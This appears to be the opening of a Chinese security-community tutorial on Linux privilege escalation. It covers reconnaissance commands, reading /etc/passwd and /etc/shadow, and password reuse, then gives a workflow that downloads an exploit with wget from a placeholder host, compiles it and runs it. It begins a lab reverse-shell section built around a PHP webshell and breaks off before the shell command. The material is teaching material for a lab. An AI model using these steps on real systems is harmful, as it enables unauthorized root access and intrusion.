首发于先知社区
前言:
上次学习了Windows操作系统的提权以及相关工具的利用,这次就来学习一下Linux操作系统的提权
Linux提权基础
0x00:Linux提权方法
大致归纳总结如下:
不过最核心也是最常见的提取方法还是内核提权,其他大多与程序员的配置有关,出现的几率不是很高。
0x01:Linux提权基础知识
uname -a
查看内核版本
id
显示用户的ID,以及所属群组的ID
pwd
显示当前路径
dpkg -l
rpm -qa
查看已经安装的程序
cat /etc/issue
cat /etc/*-release
查看发行版
密码权限
大部分Linux系统的密码都和
/etc/passwd
和/etc/shadow
这两个配置文件有关,passwd
里面储存的是用户,shadow
里面存储的是密码的hash值。出于安全考虑passwd是全用户可读,root可写的,而shadow是仅root可读写的。
/etc/passwd
passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面.
/etc/shadow
shadow里面的就是密码的hash,但只有root权限才可以查看。
密码复用
另外需要注意的是很多管理员会重复使用密码,所以有可能数据库或者web后台的密码就是root密码。
提权常见的流程
wget http://exp/exp.c
下载exp文件
gcc -o exp exp.c
利用gcc进行编译操作,编译成二进制文件
chmod +x exp
将exp更改为可执行权限
./exp
运行exp进行提权
0x02:Linux反弹shell
Linux一般拿到shell
,权限基本都很低,而且在菜刀或其他工具中执行命令没有交互过程(在菜刀等工具中,只是输入返回内容,如在菜刀中执行ssh
等命令就不可行),所以需要通过反弹shell拥有一个交互式的shell。
准备环境
ubuntu + apache
kail 192.168.186.134
ubuntu 192.168.186.152
上传进去一个php
一句话木马,菜刀连接
查看当前权限
下面就使用反弹shell的方法获取到交互式shell
第一种方法:
利用最经典也是最常用的方法进行反弹shell,另外反弹shell时设置的端口最好是常用端口,不常用的端口可能会被防火墙给拦截掉。
先进行本地进行监听: